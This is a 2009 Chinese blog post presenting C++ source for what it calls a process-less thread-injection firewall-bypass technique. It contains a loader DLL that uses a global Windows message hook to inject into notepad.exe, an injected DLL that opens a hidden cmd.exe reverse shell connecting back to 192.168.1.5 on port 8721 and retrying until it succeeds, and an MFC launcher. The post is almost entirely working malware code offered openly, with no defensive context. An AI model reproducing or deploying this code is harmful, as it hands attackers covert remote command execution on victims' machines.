---
title: "vc++无进程式线程插入穿墙技术实现"
author: "winzenghua"
date: "2009-08-26T13:43:00Z"
tags: []
slug: "vc"
draft: false
lastmod: "2009-08-26T13:43:00Z"
id: 948109
url: "https://java4gis.iteye.com/blog/948109"
---

加载模块核心源码

#include "Loader.h"

BOOL WINAPI DllMain(  
HINSTANCE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved  
)  
{  
hinst = hinstDLL;

switch(fdwReason)  
{  
case DLL\_PROCESS\_ATTACH:  
//MessageBox(NULL,"DLL\_PROCESS\_ATTACH","",MB\_OK);  
//SetHook();  
break;  
case DLL\_THREAD\_ATTACH:  
//MessageBox(NULL,"DLL\_THREAD\_ATTACH","",MB\_OK);  
break;  
case DLL\_THREAD\_DETACH:  
//MessageBox(NULL,"DLL\_THREAD\_DETACH","",MB\_OK);  
break;  
case DLL\_PROCESS\_DETACH:  
//MessageBox(NULL,"DLL\_PROCESS\_DETACH","",MB\_OK);  
//UnHook();  
break;  
default:  
//MessageBox(NULL,"Default","",MB\_OK);  
break;  
}  
return TRUE;  
}

void SetHook(HWND hWnd)  
{  
hHook = NULL;  
m\_hWnd = hWnd;

hHook = SetWindowsHookEx(WH\_GETMESSAGE,GetMsgProc,hinst,0);  
if (hHook == 0)  
{  
MessageBox(NULL,"Hook Unsuccess!","Warning",MB\_OK|MB\_ICONWARNING);  
}  
}

void UnHook()  
{  
BOOL ret = UnhookWindowsHookEx(hHook);  
if (TRUE != ret)  
{  
MessageBox(NULL,"UnHook Unsuccess!","Warning",MB\_OK|MB\_ICONWARNING);  
}  
}

LRESULT CALLBACK GetMsgProc(int code,WPARAM wParam,LPARAM lParam)  
{  
CallNextHookEx(hHook,code,wParam,lParam);

static bool old = false;  
char buffer\[1000];  
memset(buffer,0,1000);  
GetModuleFileName(0,buffer,1000);

char \*InsertName = \_strupr(\_strdup("notepad.exe"));  
char \*CurrentName = \_strupr(\_strdup(buffer));

if (strstr(CurrentName,InsertName) != NULL && old == false)  
{  
old = true;  
HMODULE hDll = NULL;  
hDll = LoadLibrary("E:\\\\Microsoft Visual Studio\\\\系统工程\\\\线程插入技术\\\\三级跳技术[\\\\Insert\\\\Debug\\\\Insert.dll]()");  
if (hDll == NULL)  
{  
MessageBox(NULL,"Insert failed!","",MB\_OK|MB\_ICONERROR);  
}  
typedef void (\*RUN)(HWND);  
RUN Run = (RUN)GetProcAddress(hDll,"Run");  
Run(m\_hWnd);  
}

return 1;

return TRUE;  
}

插入模块核心源码

#include "Insert.h"

BOOL WINAPI DllMain(  
HINSTANCE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved  
)  
{  
switch(fdwReason)  
{  
case DLL\_PROCESS\_ATTACH:  
break;  
case DLL\_THREAD\_ATTACH:  
break;  
case DLL\_THREAD\_DETACH:  
break;  
case DLL\_PROCESS\_DETACH:  
ret = FALSE;  
ret = TerminateThread(hThread,0);  
if (ret == 0)  
MessageBox(NULL,"Terminate Work Thread Failed!","Failed",MB\_OK|MB\_ICONERROR);  
break;  
default:  
break;  
}  
return TRUE;  
}

void Run(HWND hWnd)  
{  
hThread = NULL;  
::SendMessage(hWnd,WM\_CLOSE,0,0);  
hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL);  
if (hThread == 0)  
MessageBox(NULL,"Create Work Thread Failed!","Failed",MB\_OK|MB\_ICONERROR);  
}

DWORD WINAPI ThreadProc(  
LPVOID lpParameter  
)  
{  
WSADATA wsa;  
WSAStartup(MAKEWORD(2,0),&wsa);

SOCKET sock;  
PROCESS\_INFORMATION pi;  
STARTUPINFO si;  
sockaddr\_in addr;

memset(&addr,0,sizeof(addr));  
memset(&pi,0,sizeof(pi));  
memset(&si,0,sizeof(si));

addr.sin\_family = AF\_INET;  
addr.sin\_port = htons(8721);  
addr.sin\_addr.S\_un.S\_addr = inet\_addr("192.168.1.5");

sock = WSASocket(AF\_INET,SOCK\_STREAM,NULL,NULL,NULL,NULL);

while(1)  
{  
sock = WSASocket(AF\_INET,SOCK\_STREAM,NULL,NULL,NULL,NULL);  
while (0 != connect(sock,(sockaddr\*)&addr,sizeof(addr)))  
{  
//MessageBox(0,"Connect failed!","Report",MB\_OK|MB\_ICONERROR);  
shutdown(sock,0);  
Sleep(5000);  
}  
si.cb = sizeof(si);  
si.dwFlags = STARTF\_USESTDHANDLES | STARTF\_USESHOWWINDOW;  
si.hStdInput = si.hStdError = si.hStdOutput = (void\*)sock;  
si.wShowWindow = SW\_HIDE;  
memset(&pi,0,sizeof(pi));  
BOOL ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,true,0,NULL,NULL,&si,&pi);  
WaitForSingleObject(pi.hProcess,INFINITE);  
closesocket(sock);  
}  
WSACleanup();  
return 1;  
}

执行源码

// WinExeDlg.cpp : implementation file  
//

#include "stdafx.h"  
#include "WinExe.h"  
#include "WinExeDlg.h"

#ifdef \_DEBUG  
#define new DEBUG\_NEW  
#undef THIS\_FILE  
static char THIS\_FILE\[] = \_\_FILE\_\_;  
#endif

/////////////////////////////////////////////////////////////////////////////  
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog  
{  
public:  
CAboutDlg();

// Dialog Data  
//{{AFX\_DATA(CAboutDlg)  
enum { IDD = IDD\_ABOUTBOX };  
//}}AFX\_DATA

// ClassWizard generated virtual function overrides  
//{{AFX\_VIRTUAL(CAboutDlg)  
protected:  
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support  
//}}AFX\_VIRTUAL

// Implementation  
protected:  
//{{AFX\_MSG(CAboutDlg)  
//}}AFX\_MSG  
DECLARE\_MESSAGE\_MAP()  
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)  
{  
//{{AFX\_DATA\_INIT(CAboutDlg)  
//}}AFX\_DATA\_INIT  
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)  
{  
CDialog::DoDataExchange(pDX);  
//{{AFX\_DATA\_MAP(CAboutDlg)  
//}}AFX\_DATA\_MAP  
}

BEGIN\_MESSAGE\_MAP(CAboutDlg, CDialog)  
//{{AFX\_MSG\_MAP(CAboutDlg)  
// No message handlers  
//}}AFX\_MSG\_MAP  
END\_MESSAGE\_MAP()

/////////////////////////////////////////////////////////////////////////////  
// CWinExeDlg dialog

CWinExeDlg::CWinExeDlg(CWnd* pParent /\*=NULL\*/)  
: CDialog(CWinExeDlg::IDD, pParent)  
{  
//{{AFX\_DATA\_INIT(CWinExeDlg)  
// NOTE: the ClassWizard will add member initialization here  
//}}AFX\_DATA\_INIT

h\_Dll = NULL;

m\_hIcon = AfxGetApp()-&gt;LoadIcon(IDR\_MAINFRAME);  
}

void CWinExeDlg::DoDataExchange(CDataExchange* pDX)  
{  
CDialog::DoDataExchange(pDX);  
//{{AFX\_DATA\_MAP(CWinExeDlg)  
// NOTE: the ClassWizard will add DDX and DDV calls here  
//}}AFX\_DATA\_MAP  
}

BEGIN\_MESSAGE\_MAP(CWinExeDlg, CDialog)  
//{{AFX\_MSG\_MAP(CWinExeDlg)  
ON\_WM\_SYSCOMMAND()  
ON\_WM\_PAINT()  
ON\_WM\_QUERYDRAGICON()  
ON\_BN\_CLICKED(IDC\_BTN\_LOADER, OnBtnLoader)  
ON\_WM\_CLOSE()  
//}}AFX\_MSG\_MAP  
END\_MESSAGE\_MAP()

/////////////////////////////////////////////////////////////////////////////  
// CWinExeDlg message handlers

BOOL CWinExeDlg::OnInitDialog()  
{  
CDialog::OnInitDialog();

// Add "About..." menu item to system menu.

// IDM\_ABOUTBOX must be in the system command range.  
ASSERT((IDM\_ABOUTBOX & 0xFFF0) == IDM\_ABOUTBOX);  
ASSERT(IDM\_ABOUTBOX &lt; 0xF000);

CMenu* pSysMenu = GetSystemMenu(FALSE);  
if (pSysMenu != NULL)  
{  
CString strAboutMenu;  
strAboutMenu.LoadString(IDS\_ABOUTBOX);  
if (!strAboutMenu.IsEmpty())  
{  
pSysMenu-&gt;AppendMenu(MF\_SEPARATOR);  
pSysMenu-&gt;AppendMenu(MF\_STRING, IDM\_ABOUTBOX, strAboutMenu);  
}  
}

// Set the icon for this dialog. The framework does this automatically  
// when the application's main window is not a dialog  
SetIcon(m\_hIcon, TRUE);// Set big icon  
SetIcon(m\_hIcon, FALSE);// Set small icon

h\_Dll = LoadLibrary("./../Loader/Debug/Loader.dll");  
if (h\_Dll == 0)  
{  
MessageBox("Load Library Error");  
return false;  
}

return TRUE; // return TRUE unless you set the focus to a control  
}

void CWinExeDlg::OnSysCommand(UINT nID, LPARAM lParam)  
{  
if ((nID & 0xFFF0) == IDM\_ABOUTBOX)  
{  
CAboutDlg dlgAbout;  
dlgAbout.DoModal();  
}  
else  
{  
CDialog::OnSysCommand(nID, lParam);  
}  
}

// If you add a minimize button to your dialog, you will need the code below  
// to draw the icon. For MFC applications using the document/view model,  
// this is automatically done for you by the framework.

void CWinExeDlg::OnPaint()  
{  
if (IsIconic())  
{  
CPaintDC dc(this); // device context for painting

SendMessage(WM\_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle  
int cxIcon = GetSystemMetrics(SM\_CXICON);  
int cyIcon = GetSystemMetrics(SM\_CYICON);  
CRect rect;  
GetClientRect(&rect);  
int x = (rect.Width() - cxIcon + 1) / 2;  
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon  
dc.DrawIcon(x, y, m\_hIcon);  
}  
else  
{  
CDialog::OnPaint();  
}  
}

// The system calls this to obtain the cursor to display while the user drags  
// the minimized window.  
HCURSOR CWinExeDlg::OnQueryDragIcon()  
{  
return (HCURSOR) m\_hIcon;  
}

void CWinExeDlg::OnBtnLoader()  
{  
//ShellExecute(0,"open","about:blank",NULL,NULL,SW\_HIDE);  
//WinExec("C:\\\\Program Files\\\\Internet Explorer\\\\iexplore.exe about:blank",SW\_HIDE);

typedef void (\*LOAD)(HWND);  
LOAD Proc = (LOAD)GetProcAddress(h\_Dll,"SetHook");  
if (Proc == 0)  
{  
MessageBox("Get Proc failed");  
return;  
}  
Proc(m\_hWnd);

}

void CWinExeDlg::OnClose()  
{  
typedef void (\*UNLOAD)(void);  
UNLOAD Proc = (UNLOAD)GetProcAddress(h\_Dll,"UnHook");  
if (Proc == 0)  
{  
MessageBox("Get Proc failed");  
return;  
}  
Proc();

FreeLibrary(h\_Dll);  
CDialog::OnClose();  
}